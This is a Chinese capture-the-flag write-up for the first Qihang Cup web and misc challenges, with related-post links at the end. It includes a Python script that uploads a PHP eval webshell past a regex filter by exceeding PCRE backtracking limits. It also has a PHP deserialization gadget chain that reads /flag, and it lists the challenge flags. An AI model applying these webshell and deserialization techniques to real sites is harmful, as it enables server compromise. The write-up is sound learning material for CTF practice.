第一届启航杯-web-misc(全)

web

Easy_include

简单的伪协议

PCREMagic

php 复制代码
<?php
// 定义函数 is_php,用于检测输入内容是否包含 PHP 的 eval 恶意代码
function is_php($data){
     // 使用正则表达式匹配 <?php ... eval(...) ... ?> 模式
     // 修饰符说明:i=不区分大小写,s=允许 . 匹配换行符
     return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}

// 检查是否有文件上传,如果没有则显示当前文件源码(用于题目展示)
if(empty($_FILES)) {
    die(show_source(__FILE__)); // 显示源码后终止程序
}

// 创建用户专属目录:基于客户端 IP 的 MD5 哈希值
// 示例目录:data/8a599e35e4b57e45e4b57e45e4b57e45
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);

// 读取上传文件的全部内容到内存中
$data = file_get_contents($_FILES['file']['tmp_name']);

// 调用安全检测函数
if (is_php($data)) {
    echo "bad request"; // 检测到恶意代码则拒绝请求
} else {
    // 如果用户目录不存在则创建(递归创建目录,权限 0755)
    if (!is_dir($user_dir)) {
        mkdir($user_dir, 0755, true); // true 表示递归创建父目录
    }

    // 生成随机文件名:0-10 之间的整数 + .php 后缀
    // 示例路径:data/md5_hash/7.php
    $path = $user_dir . '/' . random_int(0, 10) . '.php';

    // 将上传的临时文件移动到目标路径
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    // 重定向到上传的文件(HTTP 303 状态码表示 "See Other")
    header("Location: $path", true, 303);
    exit; // 终止脚本执行
}
?>

这里直接最大回溯绕过pre

php 复制代码
import requests  # 导入requests库,用于发送HTTP请求
from io import BytesIO  # 导入BytesIO类,用于在内存中处理二进制数据

url = "http://2025.qihangcup.cn:32789/ "  # 定义目标URL,即要发送请求的服务器地址

# 创建一个包含文件的字典,用于模拟文件上传
# 'file' 是表单中文件字段的名称,BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000) 是文件内容
# 文件内容包含一个PHP代码片段 `<?php eval($_POST[1]);//`,后面跟着1000000个字节的字符 'a'
files = {
    'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}

# 发送POST请求到目标URL,携带文件数据
# `allow_redirects=False` 表示不允许重定向,即如果服务器返回重定向响应,requests不会自动跟随
res = requests.post(url=url, files=files, allow_redirects=False)

# 打印服务器返回的响应头信息
print(res.headers)

然后直接访问根目录即可

绕过也可以段标签绕过

Web_IP

一进去看看源代码 ,发现flag.php,点进去

没有想法,看看哪个hint.php

在源代码发现提示,抓包flag.php页面,尝试发现是ssti模板注入(Smarty 模板注入)

PHP的模板注入(Smarty模板)_smarty模板注入-CSDN博客

Web_pop

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
    public $name;
    protected $func;
 
    public function __destruct()
    {
        echo "Welcome to QHCTF 2025, ".$this->name;
    }
 
    public function __isset($var)
    {
        ($this->func)();
    }
}
 
class Sec{
    private $obj;
    private $var;
 
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
 
    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}
 
class Easy{
    public $cla;
 
    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}
 
class eeee{
    public $obj;
 
    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
 
if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}
php 复制代码
<?php

class Start{
    public $name;
    public $func;
 
    public function __destruct()
    {
        echo "Welcome to QHCTF 2025, ".$this->name;
    }
 
    public function __isset($var)
    {
        ($this->func)();
    }
}
 
class Sec{
    public $obj;
    public $var;
 
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
 
    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}
 
class Easy{
    public $cla;
 
    public function __call($fun, $var)//Easy::__call($fun, $var) 中的 $fun 是方法名(即 "check"),$var 是参数数组(即 [$this->var])
    {
        $this->cla = clone $var[0];
    }
}
 
class eeee{
    public $obj;
 
    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
 
$a=new Start();
$a->name=new Sec();
$a->name->var=new eeee();
$a->name->obj=new Easy();
$a->name->var->obj=new Start();
$a->name->var->obj->func=new Sec();


echo serialize($a);
echo "\n".urlencode(serialize(($a)));

misc

QHCTF For Year 2025

QHCTF{FUN}

PvzHE

flag藏在images

请找出拍摄地所在位置

关键信息是柳城与雅迪,绿源电动车

在电脑的地图搜半天没结果,去手机上搜搜

有个有点像,点进去看看。

确实有绿源电动车

那就直接找路了

QHCTF{广西壮族自治区柳州市柳城县六广路与榕泉路交叉口}

你能看懂这串未知的文字吗

给了一个看不懂的文字

识图可以得到表

然解密的得szfpguwizgwesqzoaoerv,但是flag不是这个,将图片拖随波逐流,发现可疑信息,猜测key。

最后发现是维吉尼亚密码

注意题目给的图片带感叹号,所以flag也要带 。QHCTF{cryptoveryeasybysheep!!!}

______启动

一直找tcp流,到135时发现敏感数据

访问http://101.126.66.65/log​​​​​​(现在地址不可访问了)就可以下载一个log文件,即可得flag

猿类的编程语言你了解吗

jphs隐写。(这里没密码,直接提取)

JPHS(JPG)工具介绍和下载-CSDN博客 //这里百度网盘下方便

【隐写工具】【试一试?】jphide seek(JPHS) 使用方法,检测提示,附下载地址-CSDN博客看这个学习如何使用

BrainFuck解密即可(Ook!所需的字符太多,利用".!?"来简化Ook,本质上是一样的)

Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online. //也可以用这个解密

猜猜这是哪

这个比较难,关键信息是银行,酒店,题目还提示是是郴州市

QHCTF{湖南省郴州市汝城县汝城大道与东泉路交汇处西北} 。这题太难了,没有多余的信息,就硬找,要找到汝城才行。

取证

环境有点问题1,镜像挂载不上去,刚好平台也关了,到此为止吧

第一届启航杯Forensics部分个人WP-CSDN博客

相关推荐
雨白14 分钟前
Android 多线程:理解 Handler 与 Looper 机制
android
sweetying3 小时前
30了,人生按部就班
android·程序员
用户2018792831673 小时前
Binder驱动缓冲区的工作机制答疑
android
真夜3 小时前
关于rngh手势与Slider组件手势与事件冲突解决问题记录
android·javascript·app
用户2018792831673 小时前
浅析Binder通信的三种调用方式
android
用户094 小时前
深入了解 Android 16KB内存页面
android·kotlin
火车叼位5 小时前
Android Studio与命令行Gradle表现不一致问题分析
android
前行的小黑炭7 小时前
【Android】 Context使用不当,存在内存泄漏,语言不生效等等
android·kotlin·app
前行的小黑炭7 小时前
【Android】CoordinatorLayout详解;实现一个交互动画的效果(上滑隐藏,下滑出现);附例子
android·kotlin·app
用户20187928316719 小时前
Android黑夜白天模式切换原理分析
android